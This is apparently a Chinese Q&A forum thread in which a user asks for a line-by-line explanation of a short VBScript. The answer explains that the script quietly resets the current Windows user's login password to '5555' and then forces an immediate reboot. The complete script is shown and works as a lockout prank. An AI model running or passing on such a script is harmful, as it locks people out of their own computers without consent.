谁能帮我解释一下这一段vb代码都什么意思。最好一句句解释

Question

On Error Resume Next
Dim fso,ws,file,shut,password
password="5555"
Set fso=Wscript.CreateObject("Scripting.FileSystemObject")
Set ws=Wscript.CreateObject("Wscript.Shell")
fol=fso.GetSpecialFolder(1)
file=fol & "\net.exe"
shut=fol & "\shutdown.exe"
ws.run file & " user %UserName% "+Chr(34) & password & Chr(34),0,True
ws.run shut & " /r /f /t 0",0

Answer 1

On Error Resume Next '遇到错误继续执行下一句代码
Dim fso,ws,file,shut,password '定义变量
password="5555" '变量赋值
Set fso=Wscript.CreateObject("Scripting.FileSystemObject") '创建对象
Set ws=Wscript.CreateObject("Wscript.Shell") '创建对象
fol=fso.GetSpecialFolder(1) '获取system32文件夹路径
file=fol & "\net.exe" '变量赋值文件路径
shut=fol & "\shutdown.exe" '变量赋值文件路径
ws.run file & " user %UserName% "+Chr(34) & password & Chr(34),0,True '运行net。exe修改系统登录密码为 5555
ws.run shut & " /r /f /t 0",0 '运行shutdown.exe重启电脑追问

Set fso=Wscript.CreateObject("Scripting.FileSystemObject")
Set ws=Wscript.CreateObject("Wscript.Shell")
fol=fso.GetSpecialFolder(1)
file=fol & "\net.exe"
shut=fol & "\shutdown.exe"
这几句能不能详细说一下

追答

取系统的system32文件夹路径 赋值给fol变量
file=fol & "\net.exe"
shut=fol & "\shutdown.exe"
这样就组合成 c:\windows\system32\net.exe 一个文件的路径